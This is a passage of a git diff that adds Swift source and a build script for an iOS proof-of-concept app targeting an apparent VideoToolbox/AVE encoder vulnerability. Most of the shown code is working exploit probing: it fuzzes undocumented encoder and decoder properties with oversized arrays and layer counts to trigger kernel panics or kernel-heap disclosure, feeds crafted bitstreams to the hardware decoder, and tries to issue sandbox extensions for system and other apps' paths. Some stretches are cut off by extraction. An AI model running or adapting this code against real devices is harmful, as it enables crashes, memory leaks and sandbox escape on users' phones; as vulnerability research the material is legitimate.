VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + emit("EncodeFrame[\(i)] status=\(est)") + if est != 0 { break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("after-encode readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) + emit("stage2 complete") + VTCompressionSessionInvalidate(session) + } + + /// Stage 3: brute-force property acceptance. No encode. + func fuzz() { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("no session"); return + } + var encoderID: CFString? + var supported: CFDictionary? + let s1 = VTCopySupportedPropertyDictionaryForEncoder( + width: 1280, height: 720, codecType: kCMVideoCodecType_HEVC, + encoderSpecification: nil, encoderIDOut: &encoderID, supportedPropertiesOut: &supported) + if let sup = supported as? [String: Any] { + let keys = sup.keys.sorted() + try? keys.joined(separator: "\n").write( + to: FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("props.txt"), atomically: true, encoding: .utf8) + emit("supported count=\(keys.count) dumpStatus=\(s1)") + } + + let candidates = [ + "NumOfTemporalLayer", "NumberOfTemporalLayers", "NumOfGOPLayer", + "MCTFStrengthLevel", "RPSData", "RPSInfo", "ChromaQPIndexOffsetMultiPPS", + "HEVCTemporalLevelInfoCombinations", "CreateTemporalLevelInfoDictionary", + "HEVCAuxiliaryLayerIDs", "MVHEVCVideoLayerIDs", "NumberOfSlices", + "AbsDeltaRPSMinus1", "DeltaRPSSign", "MultiReferencePSpacing", + "NumNegativePics", "NumPositivePics", "NumOfBFrame", "NumOfPFrame", + "MaximumReferenceFrameDistance", "RefNumOfBFrameL0", "RefNumOfBFrameL1", + "RefNumOfPFrame", "LRMERSPassNum", "MCTFMaxNextRefNum" + ] + let numbers = [0, 1, 2, 3, 8, 16, 64, 1000] + for key in candidates { + var line = "KEY \(key):" + for v in numbers { + let st = VTSessionSetProperty(session, key: key as CFString, value: NSNumber(value: v)) + line += " n\(v)=\(st)" + } + let bigArr = (0..<16).map { NSNumber(value: $0 + 1) } as CFArray + let stArr = VTSessionSetProperty(session, key: key as CFString, value: bigArr) + line += " arr16=\(stArr)" + emit(line) + } + emit("fuzz done") + VTCompressionSessionInvalidate(session) + } + + /// Stage 4: multi-PPS chroma QP ladder then encode. + func stage4(count: Int) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("no session"); return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) + let s = Array(repeating: "0", count: count).joined(separator: " ") + let st = VTSessionSetProperty(session, key: "ChromaQPIndexOffsetMultiPPS" as CFString, value: s as CFString) + let rd = readBack(session, "ChromaQPIndexOffsetMultiPPS" as CFString) + emit("stage4 ChromaQPIndexOffsetMultiPPS(count=\(count)) status=\(st) readback: \(rd)") + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("no pixel"); return } + for i in 0..<12 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + emit("EncodeFrame[\(i)] status=\(est)") + if est != 0 { break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("stage4 complete") + VTCompressionSessionInvalidate(session) + } + + /// Stage 5: probe the layer/PS-ID array properties that feed the kext VPS validator. + func stage5() { + let keys = [ + "MVHEVCVideoLayerIDs", + "MVHEVCViewIDs", + "MVHEVCLeftAndRightViewIDs", + "HEVCAuxiliaryLayerIDs", + "RequiredMVHEVCSequenceParameterSetIDs", + "RequiredMVHEVCPictureParameterSetIDs", + "RequiredMVHEVCVideoParameterSetAlphaVideoLayerIDs", + "RequiredHEVCVideoParameterSetAlphaLayerID", + "HEVCTemporalLevelInfoCombinations", + "TemporalIDNestingFlag", + "BaseLayerFrameRate", + ] + func arr(_ n: Int, _ v: Int = 0) -> CFArray { + Array(repeating: NSNumber(value: v), count: n) as CFArray + } + func arr64() -> CFArray { + Array((0..<64).map { NSNumber(value: $0 % 64) }) as CFArray + } + func shape(_ tag: String, _ v: Any) -> (String, Any) { (tag, v) } + + let shapes: [(String, Any)] = [ + shape("n1", NSNumber(value: 1)), + shape("n0", NSNumber(value: 0)), + shape("a1", arr(1)), + shape("a2", arr(2)), + shape("a4", arr(4)), + shape("a16", arr(16)), + shape("a64", arr64()), + shape("a2seq", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray), + shape("truth", kCFBooleanTrue as Any), + ] + + for name in keys { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage5 \(name): no session"); continue + } + var line = "stage5 \(name):" + for (tag, value) in shapes { + let st = VTSessionSetProperty(session, key: name as CFString, value: value as CFTypeRef) + line += " \(tag)=\(st)" + } + emit(line) + VTCompressionSessionInvalidate(session) + } + emit("stage5 complete") + } + + private func compact(_ v: Any?) -> String { + guard let v = v else { return "nil" } + if let d = v as? [String: Any] { + return "{" + d.keys.sorted().map { "\($0)=\(compact(d[$0]))" }.joined(separator: ",") + "}" + } + if let a = v as? [Any] { + return "[" + a.prefix(8).map { compact($0) }.joined(separator: ",") + (a.count > 8 ? ",..." : "") + "]" + } + if let n = v as? NSNumber { return "\(n)" } + if let s = v as? String { return s } + return String(describing: v) + } + + /// Stage 7: dump the complete supported-property dictionary with per-key metadata + /// (MinValue/MaxValue/PropertyType/DefaultValue), for both HEVC and AVC. + func stage7() { + for codec in [kCMVideoCodecType_HEVC, kCMVideoCodecType_H264] { + var encoderID: CFString? + var supported: CFDictionary? + let st = VTCopySupportedPropertyDictionaryForEncoder( + width: 1280, height: 720, codecType: codec, + encoderSpecification: nil, encoderIDOut: &encoderID, supportedPropertiesOut: &supported) + emit("== stage7 \(fourCC(codec)) status=\(st) encoderID=\(encoderID ?? "nil" as CFString)") + guard let sup = supported as? [String: Any] else { emit("no dict"); continue } + emit("stage7 \(fourCC(codec)) count=\(sup.count)") + for k in sup.keys.sorted() { + emit("D \(fourCC(codec)) \(k) \(compact(sup[k]))") + } + } + emit("stage7 complete") + } + + /// Stage 8: set one property key to each value, then encode; used for keys whose + /// dictionary range changed between builds. + func stage8(key: String, values: [Int]) { + for v in values { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage8 \(key)=\(v): no session"); continue + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) + _ = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: 15)) + let st = VTSessionSetProperty(session, key: key as CFString, value: NSNumber(value: v)) + emit("stage8 \(key)=\(v) setStatus=\(st) readback: \(readBack(session, key as CFString))") + if st == 0 { + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + if let pixel = pb { + var bad = 0 + for i in 0..<20 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + if est != 0 { bad = Int(est); emit("stage8 \(key)=\(v) encode[\(i)] status=\(est)"); break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("stage8 \(key)=\(v) encodeDone bad=\(bad)") + } + } + VTCompressionSessionInvalidate(session) + } + emit("stage8 complete") + } + + /// Stage 9: v190 recipe — EncoderUsage=1, RCMode=20, oversized NumberOfTemporalLayers, + /// then the first frame submit (PrepareToEncodeFrames). Live oracle: last line in live.txt + /// tells how far it got; a kernel panic after "encode[0]" is the defect firing. + func stage9(n: Int) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage9(\(n)): no session"); return + } + let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1)) + let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20)) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: n)) + emit("stage9(\(n)) usage=\(sUsage) rc=\(sRC) ntl=\(st) readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage9: no pixel"); return } + armJournal("stage9", ntl: n) + for i in 0..<4 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in } + emit("stage9(\(n)) encode[\(i)] status=\(est)") + if est != 0 { break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + emit("stage9(\(n)) survived") + finishJournal() + VTCompressionSessionInvalidate(session) + emit("stage9 complete") + } + + /// Stage 10: extcal ladder — one temporal-layer count per session, capture the + /// parameter sets the encoder returns (VPS/SPS/PPS) with sizes and byte prefixes, + /// so a count-driven VPS growth / kernel-heap disclosure shows up app-side. + func stage10(n: Int, usage: Int = 0) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage10(\(n),\(usage)): no session"); return + } + if usage != 0 { + let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: usage)) + emit("stage10(\(n),\(usage)) encoderUsage status=\(su)") + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowTemporalCompression, value: kCFBooleanTrue) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_ExpectedFrameRate, value: NSNumber(value: 30)) + _ = VTSessionSetProperty(session, key: "BaseLayerFrameRate" as CFString, value: NSNumber(value: 15)) + let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: n)) + emit("stage10(\(n),\(usage)) ntl=\(st) readback: " + readBack(session, "NumberOfTemporalLayers" as CFString)) + + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage10: no pixel"); return } + if let y = CVPixelBufferGetBaseAddressOfPlane(pixel, 0) { + let h = CVPixelBufferGetHeightOfPlane(pixel, 0) + let bpr = CVPixelBufferGetBytesPerRowOfPlane(pixel, 0) + memset(y, 0x40, h * bpr) + } + if let uv = CVPixelBufferGetBaseAddressOfPlane(pixel, 1) { + let h = CVPixelBufferGetHeightOfPlane(pixel, 1) + let bpr = CVPixelBufferGetBytesPerRowOfPlane(pixel, 1) + memset(uv, 128, h * bpr) + } + + var fmtDesc: CMVideoFormatDescription? + for i in 0..<3 { + let pts = CMTime(value: CMTimeValue(i), timescale: 30) + let est = VTCompressionSessionEncodeFrame( + session, imageBuffer: pixel, presentationTimeStamp: pts, + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { status, _, sb in + if status == 0, let sb = sb, fmtDesc == nil { + fmtDesc = CMSampleBufferGetFormatDescription(sb) + } + } + emit("stage10(\(n),\(usage)) encode[\(i)] status=\(est)") + if est != 0 { break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + + var psBytes = Data() + if let fd = fmtDesc { + var cnt = 0 + var hdr: Int32 = 0 + let r0 = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( + fd, parameterSetIndex: 0, parameterSetPointerOut: nil, + parameterSetSizeOut: nil, parameterSetCountOut: &cnt, nalUnitHeaderLengthOut: &hdr) + var i = 0 + while i < Int(cnt) { + var p: UnsafePointer? + var sz = 0 + let r = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( + fd, parameterSetIndex: i, parameterSetPointerOut: &p, + parameterSetSizeOut: &sz, parameterSetCountOut: nil, nalUnitHeaderLengthOut: nil) + if r == 0, let p = p, sz > 0 { + let type = (Int(p[0]) >> 1) & 0x3f + let head = (0..= 3 + let req: [CFString: Any] = [ + "NumberOfFrames" as CFString: NSNumber(value: n), + "AllocateRVRABuffers" as CFString: (alloc ? kCFBooleanTrue : kCFBooleanFalse) as Any + ] + let sReq = VTSessionSetProperty(session, key: "DPBRequirements" as CFString, value: req as CFDictionary) + emit("stage12(\(n),\(shape)) dpbReqStatus=\(sReq)") + + var ids: [NSNumber] = [] + for _ in 0.. start { nals.append(Array(bytes[start.. 0 { + aus.append(cur); cur = []; vclCount = 0 + } + vclCount += 1 + } + cur.append(n) + } + if vclCount > 0 { aus.append(cur) } + let realCount = aus.count + if let first = aus.first { aus.append(first) } + emit("stage20 \(file) nals=\(nals.count) aus=\(realCount)") + + var ds: VTDecompressionSession? + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferPixelFormatTypeKey] = NSNumber(value: kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange) + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + let spec: [CFString: Any] = [ + "RequireHardwareAcceleratedVideoDecoder" as CFString: kCFBooleanTrue as Any + ] + let cst = VTDecompressionSessionCreate(allocator: kCFAllocatorDefault, formatDescription: fd, + decoderSpecification: spec as CFDictionary, + imageBufferAttributes: attrs as CFDictionary, + outputCallback: nil, decompressionSessionOut: &ds) + guard cst == 0, let d = ds else { emit("stage20 \(file): decCreate(hwReq)=\(cst)"); return } + var hwRef: CFTypeRef? + VTSessionCopyProperty(d, key: "UsingHardwareAcceleratedVideoDecoder" as CFString, + allocator: kCFAllocatorDefault, valueOut: &hwRef) + emit("stage20 \(file) usingHW=\(String(describing: hwRef))") + for (idx, au) in aus.enumerated() { + let (sbOpt, sbErr) = Self.sampleBuffer(au, fd, pts: CMTimeValue(idx)) + guard let sb = sbOpt else { + emit("stage20 \(file) au[\(idx)]: no sampleBuffer (\(sbErr))"); continue + } + var flags = VTDecodeInfoFlags() + let st = VTDecompressionSessionDecodeFrame( + d, sampleBuffer: sb, flags: [], infoFlagsOut: &flags) { status, _, imageBuffer, _, _ in + decLock.lock() + decResults.append("au\(idx):cb(st=\(status),img=\(imageBuffer != nil))") + decLock.unlock() + } + if idx < realCount { + emit("stage20 \(file) au[\(idx)] slices=\(au.filter { (($0[0] & 0x1f) == 1 || ($0[0] & 0x1f) == 5) }.count) status=\(st)") + } + } + VTDecompressionSessionFinishDelayedFrames(d) + VTDecompressionSessionWaitForAsynchronousFrames(d) + decLock.lock(); let cb = Array(decResults.prefix(realCount)); decResults = []; decLock.unlock() + emit("stage20 \(file) callbacks=\(cb)") + emit("stage20 \(file) survived") + VTDecompressionSessionInvalidate(d) + emit("stage20 complete") + } + + static func h264FormatDescription(_ sps: [UInt8], _ pps: [UInt8]) -> CMVideoFormatDescription? { + var fd: CMVideoFormatDescription? + let sp = UnsafeMutablePointer.allocate(capacity: sps.count) + sp.update(from: sps, count: sps.count) + let pp = UnsafeMutablePointer.allocate(capacity: pps.count) + pp.update(from: pps, count: pps.count) + defer { sp.deallocate(); pp.deallocate() } + let sizes: [Int] = [sps.count, pps.count] + let ptrs: [UnsafePointer] = [UnsafePointer(sp), UnsafePointer(pp)] + let st = ptrs.withUnsafeBufferPointer { pb in + sizes.withUnsafeBufferPointer { sz in + CMVideoFormatDescriptionCreateFromH264ParameterSets( + allocator: kCFAllocatorDefault, parameterSetCount: 2, + parameterSetPointers: pb.baseAddress!, parameterSetSizes: sz.baseAddress!, + nalUnitHeaderLength: 4, formatDescriptionOut: &fd) + } + } + return st == 0 ? fd : nil + } + + static func firstMbInSlice(_ nal: [UInt8]) -> Int { + var rbsp: [UInt8] = [] + var zeros = 0 + for b in nal.dropFirst() { + if zeros >= 2 && b == 3 { zeros = 0; continue } + rbsp.append(b) + zeros = b == 0 ? zeros + 1 : 0 + } + var bits: [UInt8] = [] + for b in rbsp { for k in (0..<8).reversed() { bits.append((b >> k) & 1) } } + var pos = 0 + var z = 0 + while pos < bits.count && bits[pos] == 0 { z += 1; pos += 1 } + if pos >= bits.count { return -1 } + pos += 1 + var val = 0 + for _ in 0.. (CMSampleBuffer?, String) { + let total = au.reduce(0) { $0 + 4 + $1.count } + guard let p = calloc(1, total)?.assumingMemoryBound(to: Int8.self) else { return (nil, "calloc") } + var off = 0 + for n in au { + let len = UInt32(n.count) + p[off] = Int8(bitPattern: UInt8((len >> 24) & 0xff)) + p[off + 1] = Int8(bitPattern: UInt8((len >> 16) & 0xff)) + p[off + 2] = Int8(bitPattern: UInt8((len >> 8) & 0xff)) + p[off + 3] = Int8(bitPattern: UInt8(len & 0xff)) + off += 4 + n.withUnsafeBufferPointer { src in + memcpy(p + off, src.baseAddress!, n.count) + } + off += n.count + } + var block: CMBlockBuffer? + let bst = CMBlockBufferCreateWithMemoryBlock(allocator: kCFAllocatorDefault, memoryBlock: p, + blockLength: total, blockAllocator: kCFAllocatorNull, + customBlockSource: nil, offsetToData: 0, dataLength: total, + flags: 0, blockBufferOut: &block) + guard bst == 0, let bb = block else { return (nil, "blockCreate=\(bst)") } + var timing = CMSampleTimingInfo(duration: CMTime(value: 1, timescale: 30), + presentationTimeStamp: CMTime(value: pts, timescale: 30), + decodeTimeStamp: .invalid) + var sb: CMSampleBuffer? + let sst = CMSampleBufferCreate(allocator: kCFAllocatorDefault, dataBuffer: bb, dataReady: true, + makeDataReadyCallback: nil, refcon: nil, formatDescription: fd, + sampleCount: 1, sampleTimingEntryCount: 1, sampleTimingArray: &timing, + sampleSizeEntryCount: 0, sampleSizeArray: nil, + sampleBufferOut: &sb) + guard sst == 0, let s = sb else { return (nil, "sbCreate=\(sst)") } + return (s, "ok") + } + + /// Stage 21: RequestedMVHEVCVideoLayerIDs validation — pre-fix accepts any ids. + func stage21() { + guard let enc = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage21: no encoder"); return + } + _ = VTSessionSetProperty(enc, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + var attrs: [CFString: Any] = [:] + attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary + var pb: CVPixelBuffer? + _ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720, + kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange, + attrs as CFDictionary, &pb) + guard let pixel = pb else { emit("stage21: no pixel"); return } + var fd: CMVideoFormatDescription? + _ = VTCompressionSessionEncodeFrame( + enc, imageBuffer: pixel, presentationTimeStamp: CMTime(value: 0, timescale: 30), + duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { status, _, sb in + if status == 0, let sb = sb { fd = CMSampleBufferGetFormatDescription(sb) } + } + VTCompressionSessionCompleteFrames(enc, untilPresentationTimeStamp: .invalid) + VTCompressionSessionInvalidate(enc) + guard let f = fd else { emit("stage21: no format description"); return } + + let cases: [[Int]] = [[0, 1], [0], [63], [64], [0, 64], Array(0..<64), Array(0..<300), [999999]] + for (i, ids) in cases.enumerated() { + var ds: VTDecompressionSession? + let cst = VTDecompressionSessionCreate(allocator: kCFAllocatorDefault, formatDescription: f, + decoderSpecification: nil, imageBufferAttributes: nil, + outputCallback: nil, decompressionSessionOut: &ds) + guard cst == 0, let d = ds else { emit("stage21[\(i)] decCreate=\(cst)"); continue } + let arr = ids.map { NSNumber(value: $0) } as CFArray + let st = VTSessionSetProperty(d, key: "RequestedMVHEVCVideoLayerIDs" as CFString, + value: arr) + emit("stage21[\(i)] ids=\(ids.count) first=\(ids.first ?? -1) last=\(ids.last ?? -1) status=\(st)") + VTDecompressionSessionInvalidate(d) + } + emit("stage21 survived") + } + + /// Stage 11: feed DPBRequirements an N-element array. Pre-fix the plugin stores the + /// raw element count and walks a fixed 17-slot table; 27.2 adds a count<17 gate. + func stage11(n: Int) { + guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else { + emit("stage11(\(n)): no session"); return + } + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse) + _ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_AllowFrameReordering, value: kCFBooleanTrue) + let arr = (0..? + if CMBlockBufferGetDataPointer(db, atOffset: 0, lengthAtOffsetOut: nil, + totalLengthOut: &len, dataPointerOut: &ptr) == 0, + let p = ptr, len > 0 { + bitstream.append(contentsOf: UnsafeBufferPointer( + start: UnsafeRawPointer(p).assumingMemoryBound(to: UInt8.self), count: len)) + } + } + if est != 0 { emit("stage6 encode[\(f)] status=\(est)"); break } + } + VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid) + var psBytes = Data() + if let fd = fmtDesc { + var cnt = 0 + var hdr: Int32 = 0 + let r0 = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( + fd, parameterSetIndex: 0, parameterSetPointerOut: nil, + parameterSetSizeOut: nil, parameterSetCountOut: &cnt, nalUnitHeaderLengthOut: &hdr) + var i = 0 + while i < Int(cnt) { + var p: UnsafePointer? + var sz = 0 + let r = CMVideoFormatDescriptionGetHEVCParameterSetAtIndex( + fd, parameterSetIndex: i, parameterSetPointerOut: &p, + parameterSetSizeOut: &sz, parameterSetCountOut: nil, nalUnitHeaderLengthOut: nil) + if r == 0, let p = p, sz > 0 { + psBytes.append(contentsOf: UnsafeBufferPointer(start: p, count: sz)) + } + i += 1 + } + emit("stage6(\(num)) paramSets count=\(cnt) hdrLen=\(hdr) r0=\(r0) bytes=\(psBytes.count)") + let psURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("out_\(num).ps") + try? psBytes.write(to: psURL) + } else { + emit("stage6(\(num)) no format description") + } + let url = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("out_\(num).bin") + try? bitstream.write(to: url) + emit("stage6(\(num)) bytes=\(bitstream.count) saved=\(url.lastPathComponent)") + VTCompressionSessionInvalidate(session) + } + + /// Stage SBE: can a third-party app issue sandbox extensions for paths outside its container? + func stageSandboxExtensions() { + emit("=== SBE: sandbox extension issuance probe ===") + typealias IssueFile = @convention(c) (UnsafePointer, UnsafePointer, UInt32) -> UnsafeMutablePointer? + typealias IssueByPid = @convention(c) (UnsafePointer, UnsafePointer, UInt32, Int32) -> UnsafeMutablePointer? + typealias Consume = @convention(c) (UnsafePointer) -> Int64 + typealias Release = @convention(c) (Int64) -> Int32 + + guard let h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) else { + emit("SBE dlopen failed errno=\(errno)") + return + } + guard let sIssue = dlsym(h, "sandbox_extension_issue_file"), + let sConsume = dlsym(h, "sandbox_extension_consume"), + let sRelease = dlsym(h, "sandbox_extension_release") else { + emit("SBE dlsym failed errno=\(errno)") + return + } + let issue = unsafeBitCast(sIssue, to: IssueFile.self) + let consume = unsafeBitCast(sConsume, to: Consume.self) + let release = unsafeBitCast(sRelease, to: Release.self) + let issueByPid: IssueByPid? = dlsym(h, "sandbox_extension_issue_file_to_process_by_pid") + .map { unsafeBitCast($0, to: IssueByPid.self) } + + let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + let control = docs.appendingPathComponent("sbe_control.txt") + try? "control".data(using: .utf8)?.write(to: control) + + let sg = "/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles" + let targets: [(String, String)] = [ + ("own-file", control.path), + ("own-dir", docs.path), + ("cfg-plist", sg + "/Library/ConfigurationProfiles/CloudConfigurationDetails.plist"), + ("cfg-dir", sg + "/Library/ConfigurationProfiles"), + ("cfg-root", sg), + ("var-mobile-prefs", "/var/mobile/Library/Preferences"), + ("containers-data", "/var/mobile/Containers/Data/Application"), + ("containers-bundle", "/private/var/containers/Bundle/Application"), + ("sys-version", "/System/Library/CoreServices/SystemVersion.plist"), + ("private-tmp", "/private/tmp"), + ] + let classes = ["com.apple.app-sandbox.read", "com.apple.app-sandbox.read-write"] + let flagVals: [(String, UInt32)] = [("default", 0), ("canonical", 2)] + + for (name, path) in targets { + for cls in classes { + let short = cls == "com.apple.app-sandbox.read" ? "R" : "RW" + for (fn, fl) in flagVals { + errno = 0 + var line = "" + if let tok = issue(cls, path, fl) { + line = "issue=OK len=\(strlen(tok))" + let handle = consume(tok) + let cerr = errno + if handle >= 0 { + var acc = "listdir=" + if let names = try? FileManager.default.contentsOfDirectory(atPath: path) { + acc += "OK(\(names.count))" + } else { + acc += "no(\(errno))" + } + let fd = open(path, O_RDONLY) + let oerr = errno + if fd >= 0 { + close(fd) + acc += " open-ro=OK" + if short == "RW" { + let wfd = open(path, O_RDWR) + let werr = errno + if wfd >= 0 { close(wfd); acc += " open-rw=OK" } else { acc += " open-rw=err(\(werr))" } + } + } else { + acc += " open-ro=err(\(oerr))" + } + _ = release(handle) + line += " consume=\(handle) \(acc)" + } else { + line += " consume=fail(\(cerr))" + } + free(tok) + } else { + line = "issue=FAIL errno=\(errno)" + } + emit("SBE \(name) \(short)/\(fn) -> \(line) [\(path)]") + } + } + } + + if let byPid = issueByPid { + for (name, path) in targets { + for cls in classes { + let short = cls == "com.apple.app-sandbox.read" ? "R" : "RW" + errno = 0 + if let tok = byPid(cls, path, 0, getpid()) { + emit("SBE-by-pid \(name) \(short) -> OK len=\(strlen(tok)) [\(path)]") + free(tok) + } else { + emit("SBE-by-pid \(name) \(short) -> FAIL errno=\(errno) [\(path)]") + } + } + } + } else { + emit("SBE-by-pid dlsym unavailable") + } + emit("=== SBE done ===") + } + + func writeReport() { + let url = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] + .appendingPathComponent("ave_report.txt") + try? log.write(to: url, atomically: true, encoding: .utf8) + emit("report=\(url.path)") + } +} diff --git a/scripts/build-device.sh b/scripts/build-device.sh new file mode 100755 index 0000000..34ed1b8 --- /dev/null +++ b/scripts/build-device.sh @@ -0,0 +1,69 @@ +#!/bin/bash +# Build an unsigned arm64 IPA for AVE27 (CVE-2026-112705 standalone POC). +# The IPA is deliberately unsigned — sign it with your own certificate / profile. +set -euo pipefail + +ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" +OUT="$ROOT/build/device" +APP="$OUT/Payload/AVE27.app" +IPA="$ROOT/dist/AVE27-unsigned.ipa" +SDK="$(xcrun --sdk iphoneos --show-sdk-path)" +MIN_IOS="${MIN_IOS:-17.0}" + +echo "== icon ==" +if [ ! -f "$ROOT/Resources/AppIcon-1024.png" ]; then + python3 "$ROOT/scripts/gen_icon.py" > /dev/null +fi + +echo "== clean ==" +rm -rf "$OUT" +mkdir -p "$APP" + +echo "== compile (arm64, min iOS $MIN_IOS) ==" +xcrun --sdk iphoneos swiftc \ + -parse-as-library \ + -swift-version 5 \ + -O \ + -target "arm64-apple-ios$MIN_IOS" \ + -sdk "$SDK" \ + -o "$APP/AVE27" \ + "$ROOT"/Sources/*.swift + +echo "== resources ==" +cp "$ROOT/Info.plist" "$APP/Info.plist" +printf 'APPL????' > "$APP/PkgInfo" + +echo "== asset catalog ==" +xcrun actool "$ROOT/Resources/Assets.xcassets" \ + --compile "$APP" \ + --platform iphoneos \ + --minimum-deployment-target "$MIN_IOS" \ + --app-icon AppIcon \ + --output-partial-info-plist "$OUT/assetcatalog_generated_info.plist" \ + --target-device iphone \ + --target-device ipad > /dev/null + +echo "== merge asset catalog Info.plist keys ==" +python3 - "$APP/Info.plist" "$OUT/assetcatalog_generated_info.plist" <<'PY' +import plistlib, sys +info_path, partial_path = sys.argv[1], sys.argv[2] +with open(info_path, "rb") as fh: + info = plistlib.load(fh) +with open(partial_path, "rb") as fh: + partial = plistlib.load(fh) +partial.pop("com.apple.actool.compilation-results", None) +info.update(partial) +with open(info_path, "wb") as fh: + plistlib.dump(info, fh, fmt=plistlib.FMT_BINARY) +PY + +chmod 755 "$APP/AVE27" +chmod 644 "$APP/Info.plist" +/usr/bin/plutil -lint "$APP/Info.plist" + +echo "== package Payload/ -> .ipa ==" +mkdir -p "$ROOT/dist" 